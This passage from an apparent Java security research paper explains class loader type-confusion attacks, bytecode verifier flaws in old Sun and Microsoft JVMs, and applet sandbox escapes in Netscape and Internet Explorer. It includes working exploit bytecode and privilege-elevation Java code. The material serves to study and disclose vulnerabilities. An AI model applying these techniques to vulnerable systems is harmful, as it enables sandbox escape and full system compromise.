public Spoofed {
public MyArbitraryClass var;

}

From the above definitions it can be seen that class Spoofed from CL1 namespace has a different
type of the var field variable than the corresponding class from CL2 namespace. The co-existence
of such two different class definitions for the same class name does not pose any threat to JVM’s
security as long as they are not confused across different namespaces. This is due to the fact that
namespace overlapping must occur at some point in a given Java program in order to successfully
perform a type confusion attack. And this namespace overlapping is the actual goal of a Class
Loader based attacks.

Apart from the Spoofed class, one more class - the so called bridge class is required to perform
Class Loader attack. An example definition of such a class is presented below:

.class public synchronized Bridge

.super java/lang/Object

.method public <init>()V

.limit stack 5

.limit locals 5
aload_0
invokenonvirtual java/lang/Object/<init>()V
return

.end method

.method public doit(LDummy;LMyArbitraryClass;)V

.limit stack 5
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.limit locals 5
aload_1
getfield Dummy/value LSpoofed;
aload_2
putfield Spoofed/var LMyArbitraryClass;
return

.end method

It can be seen that Bridge class contains references to Dummy and Spoofed classes in its doit
method. When an attempt to execute this method on the object instance of a class loaded by a
given Class Loader is made for the first time, JVM requests definition of these classes from its
defining Class Loader. This is specifically done with the use of a call to the protected version
of the Class Loader’s loadClass method, which is done internally by JVM during a process of
dynamic linking. In this specific case, the process of dynamic linking is concerned with resolving
Dummy/value and Spoofed/var field references.

The scenario of a typical Class Loader attack usually proceeds as follows. First, Dummy and
MyArbitraryClass classes are defined in a namespace of Class Loader CL1:

Class dummy_cl=cl1.defineClass("Dummy",Dummy_def,0,Dummy_def.length);
Class mac_cl=cl1.defineClass("MyArbitraryClass",mac_def,0,mac_def.length);

Simultaneously, a definition of the Bridge class is also worked out, but this time in a namespace
of Class Loader CL2:

Class bridge_cl=cl2.defineClass("Bridge",Bridge_def,0,Bridge_def.length);

This definition is, however, done in such a way so that, the same JVM’s internal representation of
a Dummy class object defined in CL1 namespace is also used in CL2 namespace. The same conserns
MyArbitraryClass class, of which the class object is also shared by both namespaces. Additionally,
at the same time a different definition for the Spoofed class is recorded in CL2 namespace than
it will be done in CL1 namespace. This can be accomplished by properly constructing loadClass
method of the CL2 Class Loader. Specifically, it could be done similarly to the following definition:

public synchronized Class loadClass(String name, boolean resolve) {
Class c=null;
if (name.equals("Dummy") return dummy_cl;

else
if (name.equals("MyArbitraryClass") return myarbitraryclass_cl;

else
if (name.equals("Spoofed"))

c=defineClass("Spoofed",Spoofed_def,0,Spoofed_def.length);
else

c=findSystemClass(name);
if (resolve) resolveClass(c);
return c;

}

In the next step of the performed attack, instances of the defined Bridge and Dummy classes are
created:

Object bridge_obj=bridge_cl.newInstance();
Object dummy_obj=dummy_cl.newInstance();
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As for the definition of the created Dummy class, it contains only one field variable which is of the
Spoofed class type:

public class Dummy {
Spoofed value;

}

Next, a call to the doit method of the Bridge class is made with the use of the following code
sequence:

Class aclass[]=new Class[2];
aclass[0]=dummy_cl;
aclass[1]=mac_cl;

Method method=bridge_cl.getMethod("doit",aclass);

Object aobj[]=new Object[2];
aobj[0]=dummy_obj;
aobj[1]=mac.newInstance();

method.invoke(o,aobj);

As an argument to this call, instances of Dummy and MyArbitraryClass types are passed. Since
the call traverses different namespaces, JVM does proper checks on the type of arguments passed
to the doit method. Specifically, it verifies whether they are of the equal types in each namespace.
In our case, these types are the same because Dummy and MyArbitraryClass classes are shared in
both CL1 and CL2 namespaces.

As a result of executing the doit method, the value of the var field variable of the Spoofed class is
assigned the value of MyArbitraryClass type. This is done regardless of the fact that in namespace
CL1 a different definition of the Spoofed class is recorded. Specifically, in CL1 namespace, Spoofed
class has a field variable of the java.lang.Object type. In CL2 namespace the type of this field is
defined as of MyArbitraryClass type.

By following the presented Class Loader attack scenario, it is possible to perform a cast from one
Java type to any unrelated type. In our example, we used two user defined Class Loader objects
in order to perform a cast from MyArbitraryClass type to java.lang.Object type. However,
in practice, only one user defined Class Loader object can be used along with the default applet
Class Loader. Such approach to Class Loader attack simplifies it greatly and allows to avoid some
unnecessary namespace crossing from applet Class Loader to user Class Loader.

It should also be noted that the current implementation of SUN and Netscape’s Java Virtual
Machine prevents against the presented Class Loader attack as their version of the loadClass
method from the java.lang.ClassLoader class (the one that needs to be overridden in order to
spoof class definitions) is marked as final, thus it cannot be overridden. This is, however, not the
case of Microsoft’s JVM implementation.

Apart from the presented Class Loader attack, which makes implicit use of the loadClass method,
there exist at least two other theoretical variants, which could be used to conduct class spoofing
attack without implicit use (and overriding) of the Class Loader’s loadClassmethod. Both of these
attacks are based upon the idea of spoofing class definitions at the point in a Java program when
code execution is transferred from one namespace to the other. In Java, such execution transfer
can be done with the use of exceptions and virtual methods. In the first case, an attack variant
known as Princeton Class Loader attack1 was identified in the past. This attack was based upon
1You can find more details with regard to this attack in Appendix C of this paper.
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the fact that exceptions could be thrown in one namespace and caught in the other. As a result,
a definition of a subclass of java.lang.Throwable class could be spoofed and confused along
different namespaces. In the second variant of the class spoofing attack, an arbitrary hierarchy of
classes is created. This hierarchy contains the classes that come from different namespaces and
that define the same virtual method. Upon the invocation of the virtual method done from one
namespace, a call to its overridden instance in the class defined in the other namespace could
be theoretically done. Consequently, some arbitrary types of the method’s arguments could be
confused as they could be defined differently in different namespaces.

5.3 Bad implementation of system classes

System classes are one of the obvious targets of any security related attacks. This is because that
they are considered to be trusted by JVM and that any flaw in their implementation might expose
some restricted functionality of the native operating system to the untrusted code. There are several
security related issues that might arise as a result of bad implementation of system classes. In this
section we describe some of the bad coding practices that may lead to security vulnerabilities in
Java, especially if they concern core system classes of the JVM.

The functionality of the operating system is usually exposed to user classes with the use of some
implicit interface of public methods. Each of the public methods is implemented in such a way
that a call to proper Security Manager’s check is usually done prior to the actual invocation of a
given potentially insecure functionality of the native operating system. Since this functionality can
only be reached by issuing a call to the given private native method, it is only accessible to user
classes through the public interface. If this was not the case and a given Java native method could
be invoked directly from the user code, the Security Manager’s checks along with applet sandbox
restrictions could be easily bypassed.

In the case where system classes do not properly limit access to their classes, methods and variables,
a possibility to manipulate these classes or to call their functionality in some insecure way can be
created. This specifically concerns package scoped variables and methods as they can be accessed
from any class within the same package. If a given method has a protected or public access modifier,
and it is not marked as final it can be overridden in a subclass of the given class. As a result of an
arbitrary method override the execution flow of the system class’ can be influenced. The following
classes and methods are the usual target of a method overriding attacks:

- java.lang.Object: hashCode, equals, clone,
- java.lang.ClassLoader: loadClass, defineClass, resolveClass,
- java.lang.SecurityManager: any of its implementation specific methods.

If a given system class depends on its proper initialization, there is always a risk that partially
uninitialised instance of this system class can be created. This specifically concerns Class Loader
and Security Manager’s objects. In the past, several attacks were aimed at classes that did not do
properly implemented security checks in their constructors.

In the case where system classes use inner classes, these inner classes can be accessed from any
code in the same package. This is due to the fact that Java bytecode has no concept of inner classes,
so they are translated by the compiler into ordinary classes. Besides, inner classes are allowed to
access private fields of the outer classes. This is caused by the fact that they are always translated
into separate classes. Therefore, in order to let the inner class access the fields of the corresponding
outer class, the compiler silently changes these fields from private to package scope.

If a system class is not implicitly made as uncloneable there exists a possibility to create new instan-
ces of such a class without executing any of its constructors. This can be accomplished by defining
a subclass of the target class, and by making this subclass implement java.lang.Cloneable. Con-
sequently, new instances of the target class can be created by an attacker by copying the memory
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images of existing objects. The class can be made uncloneable by using the following definition for
the clone method:

public final void clone() throws java.lang.CloneNotSupportedException {
throw new java.lang.CloneNotSupportedException();

}

In the case where a system class is made serializable, there exists a possibility that its objects
can be serialized into a byte array. As a consequence of that, their internal state can be usually
read. This includes reading any private field of the target class along with the internal state of any
objects that are referenced from it.

On the other hand, if a system class can be deserialized, there is a possibility that a given sequence
of bytes can be deserialized into an instance of this system class. This is dangerous, since as a
result of deserialization, new objects can actually be created. What is more, they can be created
in some arbitrary state, different than the one after invocation of a given constructor.

If a system class returns a reference to an internal array containing some sensitive data, instead of
its copy, a possibility to change this data from the user code is created. Similarly, if a user array
of objects is stored internally in the system object, the contents of the array can be changed after
it is stored in the system object.

In the case where classes comparisons are made with the use of class names instead of class objects,
there is a possibility that some fake user class is used in a code of a system class instead of the
expected class. In some cases it can influence the execution flow of a given system class.

From the above description it can be seen that there are many issues that must be kept in mind
while developing system classes. As a result, developing a secure Java code becomes very difficult.
As it will be shown in further chapters of this paper, sometimes small implementation flaws can
lead to very dangerous security vulnerabilities.
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Chapter 6

Privilege elevation techniques

In this section we describe several privilege elevation techniques that can be used to bypass applet
security restrictions. Specifically, we present how to escape the applet sandbox in the environment
of Microsoft and Netscape web browsers. It should be noted that the presented techniques can
only be used after successful exploitation of specific security vulnerability in JVM. For the purpose
of the presented privilege elevation techniques, we assume that the exploited flaw allows for the
modification of some system classes responsible for access control and security. It seems that flaws
leading to type confusion attacks are best to use for that purpose. This is due to the fact that
through their exploitation the protection capabilities of the Java language pertaining to classes,
fields and methods can be circumvented and as a consequence they can be accessed freely without
any restrictions. Specifically, some private fields containing information about the trust of the user
code can be modified in order to elevate its privileges.

During a common privilege elevation attack, instances of some system classes are usually modified
so that the code of the user applet class can be seen as fully trusted by the applet Security Manager.
In our codes we usually assign a trusted principal to the applet class and enable all of its privileges.
Thus, the applet class is allowed to run without any restrictions imposed by the applet sandbox.
Specifically, it can freely access network, file system and process resources by invoking proper
functionality of the native operating system.

Below a detailed description of the codes that implement privilege elevation techniques is provided
for both Netscape Navigator and Internet Explorer web browsers. Because of the fact that Microsoft
and Netscape use slightly different implementations of the access control mechanisms and applet
Security manager class in particular, privilege elevation techniques with regard to both will be
presented separately.

6.1 Netscape browser

The following code sequence illustrates how a privilege elevation attack could be conducted by the
code of a user applet running in the environment of the Netscape 4.x web browser:

PrivilegeManager pm=PrivilegeManager.getPrivilegeManager();

VerifierBug bug=new VerifierBug();
MyPrivilegeManager mpm=bug.cast2MyPrivilegeManager(pm);

Target target=Target.findTarget("SuperUser");
Privilege priv=Privilege.findPrivilege(Privilege.ALLOWED,Privilege.FOREVER);
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PrivilegeTable privtab=new PrivilegeTable();
privtab.put(target,priv);

Principal principal=PrivilegeManager.getMyPrincipals()[0];
mpm.itsPrinToPrivTable.put(principal,privtab);

try {
ClassLoader cl=getClass().getClassLoader();
Class c=cl.loadClass("Beyond");
c.newInstance();
} catch (Throwable e) {}

The code works as following. First, the value of a reference pointer to Privilege Manager object
is obtained and saved in pm variable. Then, a given flaw in Netscape JVM implementation is
exploited. For the purpose of the presented privilege elevation technique, this must usually be a
flaw that allows performing arbitrary casts from one Java type to any other unrelated type. In
the presented code, vulnerability in the Bytecode Verifier is exploited: an instance of VerifierBug
class is created and used to perform a cast from PrivilegeManager class to MyPrivilegeManager
class. As a result of this cast operation, variable mpm is assigned a value of a reference to the object
of PrivilegeManager class, although it should only be allowed to hold the values of its declared
type, which is MyPrivilegeManager class. The cast operation is followed by a code sequence that
properly sets up the Privilege Table. In order to do that, first a reference to the system target object
representing SuperUser privileges is obtained and stored in a target variable. Then, a reference to
the Privilege object is obtained and assigned to the priv variable. This Privilege object reflects the
state of privileges of a given target. Specifically, it reflects the enable/disable state of a given target’s
privileges and a time period for which this state is valid. In our case, the created Privilege object
indicates that target’s privileges are enabled forever. The Privilege object itself does not indicate
the target for which it holds state information. The actual association between a given Target and
Privilege object is stored in the Privilege Table. In the next two lines of code, such an association is
made between the SuperUser target and enabled- forever Privilege object. The association is done
for newly created instance of a Privilege Table with the use of the privtab.put(target,priv)
statement.

The actual privilege elevation attack is conducted in the next two lines of code. First, a reference
to the Principal object from the list of Principals of the current class is obtained. In the case of
unsigned applet code, this will usually be the CODEBASE principal. Then, itsPrinToPrivTable
field of the system Privilege Manager is modified (with the use of a corresponding field from
MyPrivilegeManager class) in order to record new privilege information for user applet class. The
itsPrinToPrivTable field is a hashing table that stores associations between class’ Principals and
Privilege Tables. As a result of this modification, the Principal of a user applet class is associated
with the system Privilege Table. This obviously leads to privilege elevation as by default Principals
of applet classes are only assigned an empty Privilege Table and here they are associated with a
system Privilege Table.

However several other steps are required before newly assigned system privileges can actually be
used by the applet code. This is due to the fact that old privilege information is already associated
with all stack frames of the user applet class. New privilege information is taken into account only
for new classes loaded into JVM. This explains why class Beyond is implicitly loaded into Java
Runtime and run. As a result of loading and running class Beyond, it will have all system privileges
granted but not enabled for their stack frames. This is why in the last step of the presented attack,
an implicit call to enablePrivilege method of the PrivilegeManager class must be issued as
shown below:
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PrivilegeManager.enablePrivilege("SuperUser");

Only after doing this final step, can class Beyond be seen as fully trusted by Netscape’s implemen-
tation of applet Security Manager.

6.2 MSIE browser

In the case of Internet Explorer web browser, privilege elevation attack can be conducted in a
very similar way to the one presented above. The following code sequence illustrates how it can be
accomplished:

ClassLoader cl=getClass().getClassLoader();

VerifierBug bug=new VerifierBug();
MyURLClassLoader mucl=bug.cast2MyURLClassLoader(cl);

PermissionDataSet pds=new PermissionDataSet();
pds.setFullyTrusted(true);
PermissionSet ps=new PermissionSet(pds);
mucl.defaultPermissions=ps;

try {
Class c=cl.loadClass("Beyond");
c.newInstance();
} catch (Throwable e) {
}

In this code, a flaw leading to type confusion attack is also exploited. As in case of Netscape, this
is also done with the use of the VerifierBug class’ instance. The only difference is in which fields
of which system classes are actually modified in order to elevate privileges of the user class.

In case of Internet Explorer, a cast from applet Class Loader class to MyURLClassLoader class is per-
formed in order to get access to some private fields of the Class Loader object. Because the default
applet Class Loader used by Internet Explorer’s JVM is of the
com.ms.vm.loader.URLClassLoader class, the Class Loader object returned by the
getClass().getClassLoader() invocation sequence is of that type. So, as a result of the cast ope-
ration, variable mucl is assigned a value of a reference to the applet Class Loader object, which is
of the com.ms.vm.loader.URLClassLoader class, although it should be of the MyURLClassLoader
class according to the type of mucl variable. The cast operation is followed by a code sequence that
creates a fully trusted instance of the com.ms.security.PermissionDataSet class and stores a
reference to it in a pds variable. This instance is further used for the creation of the corresponding
Permission Set object, the reference of which is stored in a ps variable.

The actual privilege elevation is performed by assigning a fully trusted instance of the
com.ms.security.PermissionSet class to the defaultPermissions field of the
com.ms.vm.loader.URLClassLoader class with the use of a mucl.defaultPermissions=ps as-
signment operation. The defaultPermissions field of the applet Class Loader class holds the
value of default permissions that are assigned to every class loaded by a given applet Class Loader
into Java Runtime. As it was in the case of Netscape Navigator, such an assignment is done only
once for each class, at the time of its loading. This explains why in the next few lines of code class
Beyond is implicitly loaded into Java Runtime and run. As a consequence of loading class Beyond
into JVM, the code of its class is assigned a fully trusted Permission Set object with all privileges
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granted. But before these privileges can actually be used from within the Beyond class, they must
be implicitly enabled for it. This can be accomplished with the use of the following code:

PolicyEngine.assertPermission(PermissionID.SYSTEM)

Only after doing this final step, can class Beyond be seen as fully trusted by Microsoft’ implemen-
tation of applet Security Manager.

In some older implementations of Microsoft JVM, it was also possible to conduct the privilege
elevation attack with the use of the following code sequence:

ClassLoader cl=getClass().getClassLoader();
MySecurityClassLoader mscl=bug.cast2MySecurityClassLoader(cl);

Object myclass=mscl.classesTable.get(getClass().getName());

PermissionDataSet pds=new PermissionDataSet();
pds.setFullyTrusted(true);
PermissionSet ps=new PermissionSet(pds);

Principal pr=mscl.getPrincipal();
mscl.markClass((Class)myclass,ps,pr);

PolicyEngine.assertPermission(PermissionID.SYSTEM);

This code is a variant of the one presented above. It the conducts type confusion attack on the
applet Class Loader object in order to get access to the private native markClass method of the
com.ms.security.SecurityClassLoader class. This method is then used to perform the privilege
elevation attack as a result of its call, the code of a user class (myclass) is assigned a fully trusted
instance of the com.ms.security.PermissionSet class.

This second variant of the privilege elevation attack was only possible to conduct in some older
versions of Internet Explorer web browser. It seems that this was due to the fact that some ol-
der Microsoft’s JVM implementations allowed to make native method calls from within the user
(untrusted) code.
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Chapter 7

The unpublished history of problems

Security vulnerabilities found in one JVM implementation usually do not affect the other (the one
coming from a different vendor). This is primarily caused by the fact that JVM specification only
defines fundamental features of every Java Virtual Machine without specifying any implementation
guidelines for its development. In the past, there were many security vulnerabilities discovered in
JVM implementations coming from different vendors. Their history along with a brief description
of each bug can be found in Appendix C at the end of this paper.

In this chapter we only focus on some selected flaws that affected both SUN and Microsoft’s JVM
implementations. Specifically, we present four vulnerabilities in the Bytecode Verifier component
of Microsoft and Netscape’s JVM implementations that were discovered in years 1999-2002.

Each of the Bytecode Verifier vulnerabilities presented in this chapter leads to the type confusion
attack. This means that each of them can be exploited in the same way as it was described in
one of the previous chapters. To illustrate the flaws clearly we present them upon some generic
VerifierBug class. This class has the following general definition:

.class public VerifierBug

.super java/lang/Object

.method public <init>()V
aload_0
invokenonvirtual java/lang/Object/<init>()V
return

.end method

.method public cast2MyArbitraryClass(Ljava/lang/Object;)LMyArbitraryClass;

.limit stack 5

.limit locals 5
...

.end method

Method cast2MyArbitraryClass performs the actual type confusion attack. This method does
a cast from java.lang.Object type to MyArbitraryClass type. Depending on whether a given
flaw affects Microsoft or Netscape web browser, the name of cast2MyArbitraryClass method
is replaced with cast2MyURLClassLoader or cast2MyPrivilegeManager. Simultaneously, the me-
thod’s return type descriptor is also changed from LmyArbitraryClass; to LMyURLClassLoader;
or LMyPrivilegeManager; in order to reflect the target type to which the cast is performed as a
result of type confusion attack. Such a change of the method’s name and its return type descriptor
is due to the fact that the privilege elevation attack requires access to different Security Manager’s
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classes in the case of Microsoft and Netscape web browsers.

For each Bytecode Verifier flaw presented in this chapter, the vulnerability cause along with its
detailed description is provided. For each vulnerability, the type confusion attack is presented by
providing an example cast2MyArbitraryClass method definition. Information with regard to how
the actual privilege elevation attack can be conducted is omitted. This is because such information
can be found in the proper chapter from this paper.

It should also be noted that details concerning the presented vulnerabilities have been known for
years by both JVM vendors and Java security researchers. These details have never been published
before, though.

7.1 JDK 1.1.x

In 1999 Karsten Sohr of the University of Marburg discovered a flaw in SUN’s implementation of
the Bytecode Verifier. He identified a bytecode sequence that could be used to perform arbitrary
casts from one Java type to any unrelated type. The flaw was caused by the fact that the Bytecode
Verifier did not properly perform the bytecode flow analysis in case where the last instruction
of the verified method was embedded within the exception handler. The following code sequence
illustrates this erroneous Bytecode Verifier’s behavior:

.method public cast2MyArbitraryClass(Ljava/lang/Object;)LMyArbitraryClass;

.limit stack 5

.limit locals 5
;code offset

aconst_null ;0
goto l1 ;1

l3:
aload_1 ;4
areturn ;5

l1:
athrow ;6

l2:

.catch java/lang/NullPointerException from l1 to l2 using l3

.end method

The verification of this method proceeds according to the general verification algorithm presented
in one of the previous chapters of this paper. In the beginning of this process, the Bytecode Verifier
initializes its internal structures holding information about the execution state of the verified code.
Specifically, the local variables (registers) are initialized in such a way that their values reflect the
types of a given method’s arguments. In the example code, register 0 is initialized to contain the
type value of this pointer and register 1 is set to contain the value of java.lang.Object type.
Additionally, the operand stack is made empty and the changed bit for the first instruction of a
given method is set. After this initialization step, the main loop of bytecode flow analysis is entered.

The bytecode flow analysis proceeds linearly from the first instruction of a given method. During
this analysis, proper Bytecode Verifier checks are done for every instruction that has its correspon-
ding changed bit set. In the case of our method, the bytecode flow analysis starts from the first
instruction of a given method as it is the first instruction with the changed bit set. As a result
of modeling the execution of the first aconst null instruction, null value is pushed onto the
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virtual operand stack maintained by Bytecode Verifier (Table 7.11)

Execution state
Code offset Instruction Operand stack Registers
0 aconst null [empty] 0=this,1=java.lang.Object
1 goto l1 null 0=this,1=java.lang.Object
6 athrow null 0=this,1=java.lang.Object

Tabele 7.1: The execution flow of the cast2MyArbitraryClassmethod as seen by Bytecode Verifier
during its bytecode analysis

Simultaneously, the changed bit of the modeled instruction is cleared and new state information
about the operand stack and local variables is recorded for every successor instruction of the current
one. In our case, there is only one successor instruction at code offset 1. As this successor instruction
does not have any state information associated with it yet, Bytecode Verifier appropriately marks
this instruction as the one that needs further checks by simply setting its changed bit. Hence,
the execution of goto l1 instruction is modeled in the next step of the verification process. This
instruction does not change the state information with regard to the operand stack and local
variables, it only changes the execution flow of the code. As the changed bit for goto instruction
is cleared and set for its successor instruction located at code offset 6 (label l1), the Bytecode
Verifier omits the verification of the instructions from code offsets 4 and 5 (label l3-l1). This
means that the verification proceeds from the instruction at code offset 6 - the athrow instruction.
For this instruction, the Bytecode Verifier checks that the top stack operand is assignable to the
java.lang.Throwable type (only instances of subclasses of this type can be thrown). In our case,
the check for java.lang.Throwable type is successful as there is a null value on the operand stack.
This value is a special reference value that is compatible with every Java reference type. As for
the successors of the athrow instruction, there are none of them except for the target dispatch
procedure of the exception handler, within which the athrow instruction is embedded. However,
due to the flaw in the Bytecode Verifier implementation included in JDK 1.1.x, this target dispatch
procedure was not followed. This was only the case for exception handlers that were defined in such
a way that their end pointed one instruction beyond the end of the code of the verified method.

Because there are no more successors of the athrow instruction which can be checked by the
Bytecode Verifier and no instructions with the changed bit set exist, the verification of the method
is finished. And because, no errors were thrown during the verification, it is considered to be
successful. But this should not be the case for our method as during its actual execution flow
instructions from offsets 4 and 5 are also processed (Table 7.2).

Execution state
Code offset Instruction Operand stack Registers
0 aconst null [empty] 0=this,1=java.lang.Object
1 goto l1 Null 0=this,1=java.lang.Object
6 Athrow Null 0=this,1=java.lang.Object
4 aload 1 java.lang.Throwable 0=this,1=java.lang.Object
5 Areturn java.lang.Throwable 0=this,1=java.lang.Object

java.lang.Object

Tabele 7.2: The actual execution flow of the cast2MyArbitraryClass method

In the dispatch procedure of the exception handler, the value of java.lang.Object type is pushed
onto the operand stack with the use of aload 1 instruction. It is then returned from the method
with the use of areturn instruction. Consequently, the value of type java.lang.Object is returned
1Throughout this document, in the tables presenting the execution flow/the Bytecode Verifier’s analysis flow,

the execution state column always concerns the state of the operand stack and local variables prior to executing the
corresponding instruction.
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from the method, although it should only be allowed to return the values of MyArbitraryClass
type.

7.2 MSIE 4.01

In 1999, when we got particularly interested in the Java security issues, we discovered our first
JVM bug. This was the bug that affected only Microsoft’s JVM included in version 4.01 of Internet
Explorer web browser. The flaw affected the Bytecode Verifier component of Microsoft’s JVM. It
stemmed from the fact that the merge operation for items of a return address type was not done
properly. Specifically, it was only done with regard to the type of merged items, without paying
attention to the fact which subroutine they were referring to. As a result of such behavior it
was possible to trick the Bytecode Verifier into thinking that some fake execution path of a given
bytecode sequence was taken instead of the real one. Proper exploitation of this flaw in the Bytecode
Verifier’s operation allowed us to create a type confusion condition. This could be further exploited
to beat Java type safety and to perform arbitrary casts from one Java type to any unrelated type.
The following bytecode sequence illustrates the flaw that we have identified:

.method public cast2MyArbitraryClass(Ljava/lang/Object;)LMyArbitraryClass;

.limit stack 5

.limit locals 5
;code offset

aconst_null ;0
astore_2 ;1
jsr l1 ;2

ret1:
goto l3 ;5

l1:
aload_1 ;8
astore_2 ;9
jsr l2 ;10

ret2:
astore_3 ;13
aconst_null ;14
astore_2 ;15
ret 3 ;16

l2:
swap ;18
astore_3 ;19
ret 3 ;20

l3:
aload_2 ;22
areturn ;23

.end method

The verification of this method proceeds as following. First, the Bytecode Verifier initializes the
state of the operand stack and local variables. Consequently, register 0 is initialized to contain the
type value of this pointer and register 1 is set to contain the value of java.lang.Object type.
Additionally, the operand stack is made empty and the changed bit for the first instruction of a
given method is set.
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The bytecode flow analysis proceeds linearly from the first instruction of our method as it is
the first instruction with the changed bit set. As a result of modeling the execution of the first
aconst null and astore 2 instructions, the null value is stored in register 2. Next, the execution
flow is redirected to the code offset 8 (label l1) by the jsr l1 instruction. Simultaneously, the
ret1 value of return address type is pushed onto the operand stack (Table 7.3).

Execution state
Code offset Instruction Operand stack Registers
0 aconst null [empty] 0=this,1=java.lang.Object
1 astore 2 null 0=this,1=java.lang.Object
2 jsr l1 [empty] 0=this,1=java.lang.Object

2=null
8 aload 1 Return address (ret1) 0=this,1=java.lang.Object

2=null
9 astore 2 return address (ret1) 0=this,1=java.lang.Object

java.lang.Object 2=null
10 jsr l2 return address (ret1) 0=this,1=java.lang.Object

2=java.lang.Object
18 swap return address (ret1) 0=this,1=java.lang.Object

return address (ret2) 2=java.lang.Object
19 astore 3 return address (ret1) 0=this,1=java.lang.Object

return address (ret2) 2=java.lang.Object
20 ret 3 return address (ret1) 0=this,1=java.lang.Object

2=java.lang.Object
3=return address (ret2)

13 astore 3 return address (ret1) 0=this,1=java.lang.Object
2=java.lang.Object
3=return address (ret2)

14 aconst null [empty] 0=this,1=java.lang.Object
2=java.lang.Object
3=return address (ret1)

15 astore 2 null 0=this,1=java.lang.Object
2=java.lang.Object
3=return address (ret1)

16 ret 3 [empty] 0=this,1=java.lang.Object
2=null
3=return address (ret1)

5 goto l3 [empty] 0=this,1=java.lang.Object
2=null
3=return address (ret1)

22 aload 2 [empty] 0=this,1=java.lang.Object
2=null
3=return address (ret1)

23 areturn null 0=this,1=java.lang.Object
2=null
3=return address (ret1)

Tabele 7.3: The execution flow of the cast2MyArbitraryClassmethod as seen by Bytecode Verifier
during its bytecode analysis

In the next step, the target of a subroutine jump from the jsr instruction is selected as the successor
of this instruction. The state from the jsr instruction is merged into the state of its successor. As
this successor instruction does not have any state information associated with it yet, the Bytecode
Verifier appropriately marks this instruction as the one that needs further checks by simply setting
its changed bit. As a result of modeling the execution of the aload 1 instruction from code offset
8, the value of method’s argument type is pushed onto the operand stack. This value is of the
java.lang.Object type. It is stored into local variable 2 by the next astore 2 instruction. The
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new state is again merged into successors and the changed bit is also appropriately set for them and
cleared for the current instruction. In the case of astore 2 instruction, there is only one successor
- the jsr l2 instruction. This instruction redirects the execution flow to the instruction from code
offset 18 (label l2).

Simultaneously, the ret2 value of return address type is pushed onto the operand stack. The
new state information is merged into the successor of jsr l2 instruction. The changed bit is
appropriately updated for both successor and current instruction. The swap instruction, which is
the successor of jsr instruction changes the order of the two top items on the operand stack. As
a consequence, return address ret1 is at the top of the stack. However, due to a flaw in Microsoft
Bytecode Verifier’s implementation, return address ret2 is still seen at the top of the stack. It
seems that such Microsoft Bytecode Verifier’s behavior is caused by the fact that items of the
return address type are not properly distinguished. They are only processed with regard to their
type, but not their actual return values. It seems that in a flawed Microsoft’s JVM, information
about the order of jsr instructions’ invocations is maintained separately from the actual items of
the return address type. This explains why, as a result of a swap operation of two items of the
return address type, the same state information is obtained.

As a consequence of this flaw it was possible to trick the Bytecode Verifier into thinking that
some other execution path of a given bytecode sequence was taken instead of the real one. In our
example, the Bytecode Verifier thinks that the return at code offset 20 is made to the instruction
from ret2 label. It follows this execution path in its bytecode analysis. What is more, it successfully
verifies the method as the sequence of aconst null astore 2 instructions from code offset 14 and
15 makes it think that local variable 2 holds the null value. This is why it does not detect illegal
return type while modeling the areturn instruction at code offset 23.

Execution state
Code offset Instruction Operand stack Registers
0 aconst null [empty] 0=this,1=java.lang.Object
1 astore 2 Null 0=this,1=java.lang.Object
2 jsr l1 [empty] 0=this,1=java.lang.Object

2=null
8 aload 1 return address (ret1) 0=this,1=java.lang.Object

2=null
9 astore 2 return address (ret1) 0=this,1=java.lang.Object

java.lang.Object 2=null
10 jsr l2 return address (ret1) 0=this,1=java.lang.Object

2=java.lang.Object
18 swap return address (ret1) 0=this,1=java.lang.Object

return address (ret2) 2=java.lang.Object
19 astore 3 return address (ret2) 0=this,1=java.lang.Object

return address (ret1) 2=java.lang.Object
20 ret 3 return address (ret1) 0=this,1=java.lang.Object

2=java.lang.Object
3=return address (ret1)

5 goto l3 return address (ret1) 0=this,1=java.lang.Object
2=java.lang.Object
3=return address (ret1)

22 aload 2 return address (ret1) 0=this,1=java.lang.Object
2=java.lang.Object
3=return address (ret1)

23 areturn return address (ret1) 0=this,1=java.lang.Object
java.lang.Object 2=java.lang.Object

3=return address (ret1)

Tabele 7.4: The actual execution flow of the cast2MyArbitraryClass method
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Table 7.4 presents the actual execution flow that is taken in the verified method. From this table,
it can be seen that the value of the java.lang.Object type is returned from the method, although
it should only be allowed to return the values of MyArbitraryClass type. From this table it can
also be seen that the instructions from code offsets 13-16 are never actually executed, regardless
of what the Bytecode Verifier might think.

7.3 MSIE 4.0 5.0

In 1999 Karsten Sohr discovered another flaw in the Bytecode Verifier’s implementation of the
Java Virtual Machine, but this time in its Microsoft’s implementation. He identified a bytecode
sequence that could be used to perform arbitrary casts from one Java type to any unrelated type.
The flaw was caused by the fact that Microsoft Bytecode Verifier did not properly perform the
bytecode flow analysis of the instructions embedded within the exception handlers. Specifically, it
wrongfully assumed that there might be only one successor of a given instruction if it is embedded
within the exception handlers. The following code sequence illustrates this erroneous behavior of
the Bytecode Verifier:

.method public cast2MyArbitraryClass(Ljava/lang/Object;)LMyArbitraryClass;

.limit stack 5

.limit locals 5
;code offset

aconst_null ;0
astore_2 ;1

l1:
aconst_null ;2
l2:

aload_1 ;3
astore_2 ;4

l3:
athrow ;5

l4:
pop ;6
aload_2 ;7
areturn ;8

.catch java/lang/NullPointerException from l1 to l2 using l4

.catch java/lang/NullPointerException from l3 to l4 using l4

.end method

The verification of this method proceeds as follows. First, the Bytecode Verifier initializes the
state of the operand stack and local variables. Consequently, register 0 is initialized to contain the
type value of this pointer and register 1 is set to contain the value of java.lang.Object type.
Additionally, the operand stack is made empty and the changed bit for the first instruction of a
given method is set.

The bytecode flow analysis proceeds linearly from the first aconst null instruction of our method
as it is the first instruction with the changed bit set. As a result of modeling its execution, the null
value is pushed onto the operand stack (Table 7.5). Simultaneously, the changed bit of the modeled
instruction is cleared and new state information about the operand stack and local variables is
recorded for the successor instruction. Besides, the changed bit is cleared for the aconst null
instruction and it is set for its successor - the astore 2 instruction. As a consequence of modeling
the execution of this instruction, null value is popped off the stack and stored into register 2.
The values changed bits are appropriately updated for the current instruction and its successor.
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Simultaneously, the state information is also merged into the successor instruction located at code
offset 2. This is again the aconst null instruction. Its execution is modeled and consequently the
null value is pushed onto the operand stack. In the next step, successors of the modeled instruction
are selected. Because aconst null instruction is embedded within the exception handler, it has
two successor instructions: the next instruction located at code offset 3 and the target dispatch
procedure of the exception handler at code offset 6.

Execution state
Code offset Instruction Operand stack Registers
0 aconst null [empty] 0=this,1=java.lang.Object
1 astore 2 null 0=this,1=java.lang.Object
2 aconst null [empty] 0=this,1=java.lang.Object

2=null
6 pop Java.lang.Throwable 0=this,1=java.lang.Object

2=null
